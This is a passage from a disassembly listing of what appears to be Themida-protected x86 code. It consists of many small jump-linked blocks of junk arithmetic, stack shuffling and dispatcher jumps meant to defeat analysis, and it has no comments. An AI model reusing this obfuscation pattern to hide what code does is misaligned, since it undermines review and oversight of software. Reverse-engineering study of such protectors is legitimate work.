loc_55B7CC:				; CODE XREF: Themida_:005583F9j
		pop	ebx
		sub	eax, 4FBF42B8h
		add	eax, edx
		add	eax, 4FBF42B8h
		jmp	loc_55CB94
; ---------------------------------------------------------------------------


loc_55B7DE:				; CODE XREF: Themida_:00556283j
		movzx	cx, al
		jmp	loc_55612B
; ---------------------------------------------------------------------------


loc_55B7E7:				; CODE XREF: Themida_:00552BF4j
		sub	[esp+4], ebx
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		add	edx, 5AC631F6h
		pop	ecx
		jmp	loc_559B97
; ---------------------------------------------------------------------------


loc_55B801:				; CODE XREF: Themida_:0055C36Aj
		add	esp, 4


loc_55B804:				; CODE XREF: Themida_:00551EE1j
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	ebx, 1FA078AFh
		sub	[esp+4], ebx
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	ebx
		push	17927B6Ah
		pop	ebx
		add	ebx, 57AFA744h
		push	ebx
		pop	ecx
		jmp	loc_55C8FF
; ---------------------------------------------------------------------------


loc_55B836:				; CODE XREF: Themida_:0055D56Fj
		push	ecx
		jmp	loc_556E9E
; ---------------------------------------------------------------------------


loc_55B83C:				; CODE XREF: Themida_:00557373j
		mov	[esp], edi
		push	esi
		jmp	loc_55B2FD
; ---------------------------------------------------------------------------


loc_55B845:				; CODE XREF: Themida_:0055A858j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55D794
; ---------------------------------------------------------------------------


loc_55B854:				; CODE XREF: Themida_:005529C6j
		neg	eax
		shl	eax, 7
		shl	eax, 5
		add	eax, 0CCC514B9h
		sub	ecx, eax
		pop	eax
		and	ecx, 0BB04CDFh
		push	737Dh
		jmp	loc_557FD4
; ---------------------------------------------------------------------------


loc_55B874:				; CODE XREF: Themida_:00551F7Bj
		mov	[esp], ebx
		jmp	loc_55BA92
; ---------------------------------------------------------------------------


loc_55B87C:				; CODE XREF: Themida_:0055AD32j
		mov	eax, 78BF2CC3h
		add	edi, eax
		pop	eax
		pop	esi
		add	ebx, 5F00454Ah
		jmp	loc_551F41
; ---------------------------------------------------------------------------


loc_55B890:				; CODE XREF: Themida_:0055BBB7j
		sub	ebp, 37F10C2Bh
		not	ebp
		jmp	loc_55C9F9
; ---------------------------------------------------------------------------


loc_55B89D:				; CODE XREF: Themida_:005590DAj
		push	esi
		pop	eax
		pop	esi
		sub	edx, eax
		jmp	loc_55DA4C
; ---------------------------------------------------------------------------


loc_55B8A7:				; CODE XREF: Themida_:0055C1DBj
		mov	esp, [esp]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55B8B4:				; CODE XREF: Themida_:005598F2j
		sub	ecx, 2DCD2933h
		dec	ecx
		not	ecx
		add	ecx, 6B8F186Eh
		sub	ecx, 68C96D9Dh
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55B1BD
; ---------------------------------------------------------------------------


loc_55B8DA:				; CODE XREF: Themida_:00556EA0j
		push	61DDh
		mov	[esp], edx
		push	ecx
		mov	ecx, 55BF0E19h
		mov	edx, 0AA40F1EBh
		add	edx, ecx
		pop	ecx
		add	ecx, edx
		pop	edx
		jmp	loc_555BEB
; ---------------------------------------------------------------------------


loc_55B8F8:				; CODE XREF: Themida_:0055D00Dj
		pop	ebx
		add	ebx, 4
		push	esi
		mov	esi, 0FD442Fh
		push	ecx
		mov	ecx, 204063FBh
		sub	esi, ecx
		pop	ecx
		neg	esi
		sub	esi, 1F431FCAh
		add	ebx, 6174352Bh
		add	ebx, esi
		jmp	loc_551EB9
; ---------------------------------------------------------------------------


loc_55B923:				; CODE XREF: Themida_:0055374Ej
		sub	ecx, ebx
		sub	ecx, 3D96332Eh
		pop	ebx
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_5550FD
; ---------------------------------------------------------------------------


loc_55B936:				; CODE XREF: Themida_:0055DD10j
		push	ebp
		push	esi
		jmp	loc_559A16
; ---------------------------------------------------------------------------


loc_55B93D:				; CODE XREF: Themida_:00552D5Ej
		sub	al, 8Eh
		jmp	loc_55ACAE
; ---------------------------------------------------------------------------


loc_55B944:				; CODE XREF: Themida_:0055D216j
		sub	cl, 2
		sub	cl, 56h
		jmp	loc_551A96
; ---------------------------------------------------------------------------


loc_55B94F:				; CODE XREF: Themida_:0055DABEj
		inc	ebp
		sub	ebp, 7B8B17FFh
		xor	ebp, 1D23B185h
		xor	esi, ebp
		pop	ebp
		mov	edi, esi
		pop	esi
		sub	edi, 680D1840h
		inc	edi
		neg	edi
		push	ebp
		mov	ebp, 17782225h
		shr	ebp, 2
		inc	ebp
		sub	ebp, 240540C4h
		add	ebp, 61F5D91h
		add	ebp, 2C6E2995h
		jmp	loc_55AA81
; ---------------------------------------------------------------------------


loc_55B98C:				; CODE XREF: Themida_:0055A724j
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	small 5702h
		jmp	loc_5529CB
; ---------------------------------------------------------------------------


loc_55B9A1:				; CODE XREF: Themida_:00557104j
		sub	ebx, 3F79123Ch
		or	ebx, 4494460Eh
		xor	ebx, 51C90289h
		jmp	loc_5556ED
; ---------------------------------------------------------------------------


loc_55B9B8:				; CODE XREF: Themida_:0055CD28j
		push	3DD6h
		mov	[esp], esi
		jmp	loc_55A5B8
; ---------------------------------------------------------------------------


loc_55B9C5:				; CODE XREF: Themida_:00555B1Dj
		add	esp, 4
		jmp	loc_554368
; ---------------------------------------------------------------------------


loc_55B9D0:				; CODE XREF: Themida_:0055A44Ej
		mov	edx, ecx
		pop	ecx
		add	edi, edx
		jmp	loc_5581DF
; ---------------------------------------------------------------------------


loc_55B9DA:				; CODE XREF: Themida_:00556D23j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 13B40770h
		neg	eax
		dec	eax
		shl	eax, 7
		jmp	loc_55BBB0
; ---------------------------------------------------------------------------


loc_55B9F0:				; CODE XREF: Themida_:005571B0j
		push	ebx
		push	edx
		mov	dl, ch
		mov	bl, dl
		pop	edx
		jmp	loc_557AC2
; ---------------------------------------------------------------------------


loc_55B9FC:				; CODE XREF: Themida_:0055B632j
		add	edi, ecx
		jmp	loc_5538EE
; ---------------------------------------------------------------------------


loc_55BA03:				; CODE XREF: Themida_:0055BBABj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_558C46
; ---------------------------------------------------------------------------


loc_55BA14:				; CODE XREF: Themida_:0055D971j
		sub	bh, ah
		add	bh, 48h
		pop	eax
		shl	bh, 6
		jmp	loc_5555FC
; ---------------------------------------------------------------------------


loc_55BA22:				; CODE XREF: Themida_:00552844j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_553E64
; ---------------------------------------------------------------------------


loc_55BA2D:				; CODE XREF: Themida_:00556C78j
		xor	edi, 514130CBh
		sub	edi, 0FEEF4F28h
		add	ebx, edi
		pop	edi
		jmp	loc_553C35
; ---------------------------------------------------------------------------


loc_55BA41:				; CODE XREF: Themida_:00559AC1j
		sub	cl, 0AEh
		jmp	loc_55559E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	3DF7h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_554560
; ---------------------------------------------------------------------------


loc_55BA5C:				; CODE XREF: Themida_:0055639Cj
		sub	dh, 92h
		jmp	loc_55D30E
; ---------------------------------------------------------------------------


loc_55BA64:				; CODE XREF: Themida_:005598B9j
		add	bl, al
		jmp	loc_551CD8
; ---------------------------------------------------------------------------


loc_55BA6B:				; CODE XREF: Themida_:00556012j
		shr	ecx, 7
		xor	ecx, 171084D7h
		mov	ebp, ecx
		pop	ecx
		xor	ebp, esi
		jmp	loc_55BDE0
; ---------------------------------------------------------------------------


loc_55BA7E:				; CODE XREF: Themida_:005548AAj
		push	edi
		xor	dword ptr [esp], 3F356676h
		pop	ecx
		xor	ecx, 3F356676h
		jmp	loc_558664
; ---------------------------------------------------------------------------


loc_55BA92:				; CODE XREF: Themida_:0055B877j
		push	118239A7h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_552CE7
; ---------------------------------------------------------------------------
		lodsb
		push	cx
		push	edx
		mov	dl, 9
		shl	dl, 5
		jmp	loc_55822F
; ---------------------------------------------------------------------------


loc_55BAB0:				; CODE XREF: Themida_:0055B42Ej
		add	edi, 4
		jmp	loc_55CBDB
; ---------------------------------------------------------------------------


loc_55BABB:				; CODE XREF: Themida_:0055C6A4j
		mov	[esp], esp
		jmp	loc_555594
; ---------------------------------------------------------------------------


loc_55BAC3:				; CODE XREF: Themida_:00558B93j
		push	ebx
		mov	ebx, 288C33DDh
		sub	eax, ebx
		pop	ebx
		jmp	loc_55D3E6
; ---------------------------------------------------------------------------


loc_55BAD1:				; CODE XREF: Themida_:0055E08Cj
		shr	esi, 7
		jmp	loc_55A8CF
; ---------------------------------------------------------------------------


loc_55BAD9:				; CODE XREF: Themida_:0055AA17j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55BADE:				; CODE XREF: Themida_:005555B3j
		mov	dh, 6Eh
		jmp	loc_55408C
; ---------------------------------------------------------------------------


loc_55BAE5:				; CODE XREF: Themida_:00557590j
		add	eax, esi
		add	eax, 13D52258h
		pop	esi
		push	edi
		push	17504AFEh
		mov	edi, [esp]
		push	eax
		jmp	loc_556328
; ---------------------------------------------------------------------------


loc_55BAFC:				; CODE XREF: Themida_:00558CE5j
		mov	esi, esp
		add	esi, 4
		push	729h
		mov	[esp], edi
		push	ebp
		push	eax
		mov	eax, 5474510Fh
		shl	eax, 6
		sub	eax, 0BEE2E3C1h
		mov	ebp, eax
		pop	eax
		sub	ebp, 440D688Ah
		jmp	loc_55539C
; ---------------------------------------------------------------------------


loc_55BB29:				; CODE XREF: Themida_:0055AA7Cj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_554C17
; ---------------------------------------------------------------------------


loc_55BB3E:				; CODE XREF: Themida_:0055DBC2j
		push	3980h
		mov	[esp], ebp
		mov	ebp, esp
		push	6191h
		jmp	loc_55C272
; ---------------------------------------------------------------------------


loc_55BB52:				; CODE XREF: Themida_:00553EEDj
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55CE71
; ---------------------------------------------------------------------------


loc_55BB61:				; CODE XREF: Themida_:0055B557j
		sub	esi, 4D492557h
		pop	edi
		or	esi, 643C5BEBh
		dec	esi
		not	esi
		sub	esi, 7FC348D0h
		sub	esi, 0AC6B4216h
		sub	edx, 77E11241h
		add	edx, esi
		add	edx, 77E11241h
		mov	esi, [esp]
		jmp	loc_551D05
; ---------------------------------------------------------------------------


loc_55BB93:				; CODE XREF: Themida_:0055BEF6j
		pop	edi
		shl	eax, 4
		shr	eax, 3
		shr	eax, 5
		shr	eax, 4
		neg	eax
		jmp	loc_553A20
; ---------------------------------------------------------------------------


loc_55BBA7:				; CODE XREF: Themida_:0055AD39j
		pop	ecx
		add	eax, edx
		pop	edx
		jmp	loc_55BA03
; ---------------------------------------------------------------------------


loc_55BBB0:				; CODE XREF: Themida_:0055B9EBj
		push	edi
		jmp	loc_559DB0
; ---------------------------------------------------------------------------


loc_55BBB6:				; CODE XREF: Themida_:0055C5D1j
		pop	ebp
		jmp	loc_55B890
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		jmp	loc_55D14D
; ---------------------------------------------------------------------------


loc_55BBC8:				; CODE XREF: Themida_:00559504j
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	ebx
		jmp	loc_5551BA
; ---------------------------------------------------------------------------


loc_55BBDC:				; CODE XREF: Themida_:00559FD9j
		neg	eax
		and	eax, 4001076Dh
		push	ebx
		mov	ebx, 37B97672h
		xor	eax, ebx
		pop	ebx
		and	eax, 4DE43D87h
		sub	eax, 5A02FFFh
		sub	ebp, eax
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_553F78
; ---------------------------------------------------------------------------


loc_55BC06:				; CODE XREF: Themida_:0055C054j
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		btc	[esp], ax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55BC1C:				; CODE XREF: Themida_:00555A44j
		mov	ebx, 675C63F0h
		mov	eax, 98A39C14h
		add	eax, 16061850h
		add	eax, ebx
		sub	eax, 16061850h
		pop	ebx
		jmp	loc_55A7E3
; ---------------------------------------------------------------------------


loc_55BC38:				; CODE XREF: Themida_:0055B588j
		add	edx, 4
		push	ecx
		mov	ecx, 46F720EBh
		add	ecx, 71283221h
		inc	ecx
		and	ecx, 7FDB0E61h
		sub	ecx, 381B01FDh
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 26F3537Fh
		jmp	loc_55223D
; ---------------------------------------------------------------------------


loc_55BC6B:				; CODE XREF: Themida_:00555281j
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_55D85C
; ---------------------------------------------------------------------------


loc_55BC75:				; CODE XREF: Themida_:00554BE0j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55BC7A:				; CODE XREF: Themida_:00551B0Dj
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	esp
		pop	dword ptr [esp]
		jmp	loc_55C947
; ---------------------------------------------------------------------------


loc_55BC89:				; CODE XREF: Themida_:00555BE6j
		add	dword ptr [esp+4], 22AE67F7h
		jmp	loc_55C97D
; ---------------------------------------------------------------------------


loc_55BC96:				; CODE XREF: Themida_:0055864Bj
		sub	dword ptr [esp+4], 4E5141E7h
		pop	ecx
		jmp	loc_55D120
; ---------------------------------------------------------------------------


loc_55BCA4:				; CODE XREF: Themida_:00555352j
		mov	ecx, esi
		jmp	loc_55A988
; ---------------------------------------------------------------------------


loc_55BCAB:				; CODE XREF: Themida_:00552CE9j
		push	edi
		jmp	loc_552849
; ---------------------------------------------------------------------------


loc_55BCB1:				; CODE XREF: Themida_:00559E69j
		mov	[esp], ebp
		jmp	loc_55A089
; ---------------------------------------------------------------------------


loc_55BCB9:				; CODE XREF: Themida_:00553178j
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	ebx
		mov	ebx, 2
		add	ebp, ebx
		pop	ebx
		jmp	loc_558FC1
; ---------------------------------------------------------------------------


loc_55BCD2:				; CODE XREF: Themida_:0055A4D4j
		add	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		push	esp
		pop	ebx
		push	ecx
		jmp	loc_558E01
; ---------------------------------------------------------------------------


loc_55BCE1:				; CODE XREF: Themida_:00554C99j
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		jmp	loc_552378
; ---------------------------------------------------------------------------


loc_55BCF1:				; CODE XREF: Themida_:00557F04j
		push	edi
		push	esi
		mov	esi, 396C46EFh
		and	esi, 0FB036CDh
		jmp	loc_55AC56
; ---------------------------------------------------------------------------


loc_55BD03:				; CODE XREF: Themida_:00555E31j
		push	dword ptr [edi+1Ch]
		push	esi
		push	edx
		mov	edx, 6D561219h
		shl	edx, 8
		push	edx
		not	dword ptr [esp]
		pop	edx
		sub	edx, 1
		sub	edx, 0A0578B09h
		push	edx
		pop	esi
		jmp	loc_552AE5
; ---------------------------------------------------------------------------


loc_55BD28:				; CODE XREF: Themida_:0055ACA9j
		pop	ebp
		sub	ebx, 5DC212EDh
		jmp	loc_552186
; ---------------------------------------------------------------------------


loc_55BD34:				; CODE XREF: Themida_:0055A0E9j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55BD39:				; CODE XREF: Themida_:00554E50j
		xor	dh, 5Eh
		mov	bl, dh
		pop	edx
		add	cl, 56h
		add	cl, 2
		jmp	loc_55D214
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_555871
; ---------------------------------------------------------------------------


loc_55BD50:				; CODE XREF: Themida_:00557648j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		push	esi
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		mov	esi, 49B63D71h
		neg	esi
		jmp	loc_55D0F0
; ---------------------------------------------------------------------------


loc_55BD7C:				; CODE XREF: Themida_:00559B7Fj
		mov	ebx, ebp
		pop	ebp
		push	edx
		mov	edx, 3A185BCCh
		add	ecx, edx
		jmp	loc_559029
; ---------------------------------------------------------------------------


loc_55BD8C:				; CODE XREF: Themida_:00553A52j
		push	ebp
		mov	ebp, 1471873h
		jmp	loc_5549C5
; ---------------------------------------------------------------------------


loc_55BD97:				; CODE XREF: Themida_:00553941j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55BDA6:				; CODE XREF: Themida_:005581E9j
		xchg	edi, [esp]
		pop	esp
		push	edx
		jmp	loc_556FCA
; ---------------------------------------------------------------------------


loc_55BDB0:				; CODE XREF: Themida_:0055B4B1j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_553EFB
; ---------------------------------------------------------------------------


loc_55BDB9:				; CODE XREF: Themida_:005587EFj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55BDCC:				; CODE XREF: Themida_:00555BAAj
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_558F14
; ---------------------------------------------------------------------------


loc_55BDDA:				; CODE XREF: Themida_:00555E9Fj
		pop	ecx
		jmp	loc_55633A
; ---------------------------------------------------------------------------


loc_55BDE0:				; CODE XREF: Themida_:0055BA79j
		pop	esi
		sub	ebp, 6D6DBA85h
		jmp	loc_554EB6
; ---------------------------------------------------------------------------


loc_55BDEC:				; CODE XREF: Themida_:0055C5EEj
		push	edx
		mov	dh, 5Ah
		jmp	loc_558E19
; ---------------------------------------------------------------------------


loc_55BDF4:				; CODE XREF: Themida_:005578DAj
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xor	eax, [esp]
		jmp	loc_558EAB
; ---------------------------------------------------------------------------


loc_55BE0A:				; CODE XREF: Themida_:0055E097j
		push	dword ptr [esp]
		jmp	loc_55D396
; ---------------------------------------------------------------------------


loc_55BE12:				; CODE XREF: Themida_:00553D3Dj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7BC2585Dh
		push	ebp
		push	655C4254h
		pop	ebp
		xor	ebp, 7BEB1BC2h
		jmp	loc_5593EA
; ---------------------------------------------------------------------------


loc_55BE32:				; CODE XREF: Themida_:00556D40j
		pop	edx
		pop	edx
		add	edx, 4
		push	esi
		mov	esi, 4
		jmp	loc_555169
; ---------------------------------------------------------------------------


loc_55BE45:				; CODE XREF: Themida_:0055DC21j
		mov	esi, 5390118Eh
		jmp	loc_55D614
; ---------------------------------------------------------------------------


loc_55BE4F:				; CODE XREF: Themida_:0055D950j
		mov	ebp, [esp]
		jmp	loc_555A51
; ---------------------------------------------------------------------------


loc_55BE57:				; CODE XREF: Themida_:00552195j
		mov	esi, 7B9F65CDh
		jmp	loc_55C36F
; ---------------------------------------------------------------------------


loc_55BE61:				; CODE XREF: Themida_:0055BFC3j
		mov	[esp], eax
		push	esp
		jmp	loc_5556A3
; ---------------------------------------------------------------------------


loc_55BE6A:				; CODE XREF: Themida_:00556205j
		or	bh, 3Dh
		jmp	loc_5532AB
; ---------------------------------------------------------------------------


loc_55BE72:				; CODE XREF: Themida_:0055DAE6j
		push	esp
		pop	ebx
		jmp	loc_55315C
; ---------------------------------------------------------------------------


loc_55BE79:				; CODE XREF: Themida_:0055BF21j
		and	edi, 21984B7Bh
		and	edi, 68DD0B48h
		xor	edi, 0F63AA300h
		add	edx, edi
		pop	edi
		mov	ebp, edx
		pop	edx
		xor	ecx, ebp
		pop	ebp
		pop	edx
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_553BE4
; ---------------------------------------------------------------------------


loc_55BE9F:				; CODE XREF: Themida_:005554EDj
		push	esp
		pop	edx
		add	edx, 4
		push	2546h
		jmp	loc_55B14D
; ---------------------------------------------------------------------------


loc_55BEB1:				; CODE XREF: Themida_:0055DC8Ej
		sub	ch, 42h
		xor	ch, 0B1h
		push	ebx
		mov	bl, 4
		add	ch, bl
		pop	ebx
		sub	al, ch
		pop	ecx
		push	ebx
		jmp	loc_55310C
; ---------------------------------------------------------------------------


loc_55BEC6:				; CODE XREF: Themida_:00552FC1j
		add	ebp, edx
		push	edx
		mov	edx, 7A11085Ch
		jmp	loc_553614
; ---------------------------------------------------------------------------


loc_55BED3:				; CODE XREF: Themida_:00554D5Bj
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_556DC1
; ---------------------------------------------------------------------------


loc_55BEE8:				; CODE XREF: Themida_:00559898j
		add	edi, 6E9028DDh
		sub	edi, 88BF3C2Eh
		mov	eax, edi
		jmp	loc_55BB93
; ---------------------------------------------------------------------------


loc_55BEFB:				; CODE XREF: Themida_:00559064j
		push	682Bh
		mov	[esp], edx
		xor	dword ptr [esp], 78EE477Ah
		pop	ecx
		push	ebp
		push	70DBh
		mov	[esp], edx
		mov	edx, 5D4C598Dh
		not	edx
		push	edi
		mov	edi, 2441728Ah
		jmp	loc_55BE79
; ---------------------------------------------------------------------------


loc_55BF26:				; CODE XREF: Themida_:0055CE61j
		mov	[esp], ebx
		sub	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_557BE1
; ---------------------------------------------------------------------------


loc_55BF3D:				; CODE XREF: Themida_:00553891j
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_557F09
; ---------------------------------------------------------------------------


loc_55BF52:				; CODE XREF: Themida_:00556B21j
		add	edx, 44850B8Ch
		sub	edx, 43047EF6h
		dec	edx
		and	edx, 5C0B096Ch
		sub	edx, 3A38DEC1h
		mov	ecx, edx
		pop	edx
		xor	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		push	622E1D1Eh
		pop	edx
		jmp	loc_553099
; ---------------------------------------------------------------------------


loc_55BF85:				; CODE XREF: Themida_:0055A5ABj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 572A5FC1h
		shl	esi, 8
		and	esi, 253E7A70h
		push	eax
		mov	eax, 6C38062Dh
		push	ecx
		mov	ecx, 2800CB1h
		jmp	loc_551A7A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_55B0AC
; ---------------------------------------------------------------------------


loc_55BFBE:				; CODE XREF: Themida_:0055DF37j
		push	4F67h
		jmp	loc_55BE61
; ---------------------------------------------------------------------------


loc_55BFC8:				; CODE XREF: Themida_:0055CA2Dj
		pop	ecx
		pop	dword ptr [eax]
		add	dword ptr [eax], 0CAA5B72h
		jmp	loc_55D5CD
; ---------------------------------------------------------------------------


loc_55BFD6:				; CODE XREF: Themida_:00555000j
		push	edx
		mov	edx, esp
		jmp	loc_557E61
; ---------------------------------------------------------------------------


loc_55BFDE:				; CODE XREF: Themida_:0055DDE6j
		push	edi
		jmp	loc_55D1AF
; ---------------------------------------------------------------------------


loc_55BFE4:				; CODE XREF: Themida_:005551B5j
		mov	eax, ecx
		pop	ecx
		or	eax, 2C416E5Fh
		dec	eax
		sub	eax, 2BB75531h
		add	eax, 0D348DE09h
		add	ebx, eax
		pop	eax
		not	ebx
		inc	ebx
		sub	ebx, 7BAD774Bh
		add	edx, ebx
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_551B58
; ---------------------------------------------------------------------------


loc_55C014:				; CODE XREF: Themida_:0055D72Bj
		mov	ebp, 27DD6E1Eh
		push	ebp
		jmp	loc_555FD0
; ---------------------------------------------------------------------------


loc_55C01F:				; CODE XREF: Themida_:0055CAD3j
		sub	dword ptr [esp+4], 39DC08F3h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_555EB0
; ---------------------------------------------------------------------------


loc_55C036:				; CODE XREF: Themida_:00552373j
		pop	ebp
		add	edi, 0FFFFFFFFh
		push	ecx
		jmp	loc_55624A
; ---------------------------------------------------------------------------


loc_55C043:				; CODE XREF: Themida_:0055CCACj
		push	1
		jmp	loc_5597D7
; ---------------------------------------------------------------------------


loc_55C04D:				; CODE XREF: Themida_:0055E025j
		mov	esi, 2
		add	ebx, esi
		jmp	loc_55BC06
; ---------------------------------------------------------------------------


loc_55C059:				; CODE XREF: Themida_:00556D0Fj
		add	esi, 0F1EC9D1Fh
		mov	ebx, esi
		pop	esi
		and	ecx, ebx
		jmp	loc_554E5B
; ---------------------------------------------------------------------------


loc_55C069:				; CODE XREF: Themida_:0055952Ej
		xor	ebp, [esp]
		jmp	loc_55B47A
; ---------------------------------------------------------------------------


loc_55C071:				; CODE XREF: Themida_:00552A5Aj
		mov	esi, 4
		push	ebx
		mov	ebx, 0B043C6Bh
		sub	[esp+8], ebx
		jmp	loc_553DA3
; ---------------------------------------------------------------------------


loc_55C085:				; CODE XREF: Themida_:00552232j
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_55C2C9
; ---------------------------------------------------------------------------


loc_55C094:				; CODE XREF: Themida_:0055409Cj
		push	dx
		mov	dh, 0DBh
		jmp	loc_55A139
; ---------------------------------------------------------------------------


loc_55C09D:				; CODE XREF: Themida_:00552162j
		push	esi
		jmp	loc_554A9C
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5582DB
; ---------------------------------------------------------------------------


loc_55C0A9:				; CODE XREF: Themida_:0055AAC3j
		push	edx
		mov	edx, 78365D14h
		dec	edx
		add	edx, 9C68DA6Fh
		jmp	loc_557A87
; ---------------------------------------------------------------------------


loc_55C0BB:				; CODE XREF: Themida_:0055ABEDj
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55C0C0:				; CODE XREF: Themida_:0055CECAj
		add	eax, 2885282Eh
		add	eax, 514457B3h
		add	eax, 56A9792Bh
		xor	ebx, eax
		jmp	loc_55C719
; ---------------------------------------------------------------------------


loc_55C0D6:				; CODE XREF: Themida_:00559EBEj
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55D955
; ---------------------------------------------------------------------------


loc_55C0E5:				; CODE XREF: Themida_:00555397j
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 272663F6h
		sub	edx, 1084096Eh
		add	edx, 61A460B0h
		not	edx
		dec	edx
		sub	edx, 87B944C2h
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55B785
; ---------------------------------------------------------------------------


loc_55C117:				; CODE XREF: Themida_:00553E97j
		pop	esp
		mov	[esp], edi
		push	ecx
		jmp	loc_5550B7
; ---------------------------------------------------------------------------


loc_55C121:				; CODE XREF: Themida_:0055C165j
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_55DB26
; ---------------------------------------------------------------------------


loc_55C136:				; CODE XREF: Themida_:0055DF49j
		push	esi
		mov	esi, 2E8A515Dh
		push	ecx
		jmp	loc_55B1E9
; ---------------------------------------------------------------------------


loc_55C142:				; CODE XREF: Themida_:00552066j
		add	al, 7
		add	al, bl
		sub	al, 7
		push	dx
		mov	dl, 0A5h
		sub	dl, 0A7h
		jmp	loc_55A7A6
; ---------------------------------------------------------------------------


loc_55C154:				; CODE XREF: Themida_:00556682j
		push	36CBh
		mov	[esp], ecx
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55C161:				; CODE XREF: Themida_:00552809j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55C121
; ---------------------------------------------------------------------------


loc_55C16A:				; CODE XREF: Themida_:005520DBj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		retn
; ---------------------------------------------------------------------------
		jmp	loc_55A6D5
; ---------------------------------------------------------------------------


loc_55C17A:				; CODE XREF: Themida_:005582B7j
		add	ebx, 5C0D0C6Ch
		sub	ebx, 3D0F2617h
		jmp	loc_55CBF9
; ---------------------------------------------------------------------------


loc_55C18B:				; CODE XREF: Themida_:005598D9j
		mov	[esp], eax
		push	edx
		push	ecx
		mov	ecx, 133F3351h
		add	ecx, 46D20B2Bh
		jmp	loc_559612
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_55B02D
; ---------------------------------------------------------------------------


loc_55C1A6:				; CODE XREF: Themida_:0055C5B2j
		push	esi
		mov	esi, 3CB226CAh
		add	esi, 0C34DD93Ah
		jmp	loc_5544DD
; ---------------------------------------------------------------------------


loc_55C1B7:				; CODE XREF: Themida_:0055DF14j
		push	edx
		mov	edx, 535578B4h
		add	esi, edx
		jmp	loc_55D97D
; ---------------------------------------------------------------------------


loc_55C1C4:				; CODE XREF: Themida_:00557793j
		sub	eax, 69A75836h
		add	edi, eax
		pop	eax
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_55B8A7
; ---------------------------------------------------------------------------


loc_55C1E0:				; CODE XREF: Themida_:005526BAj
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	2753h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
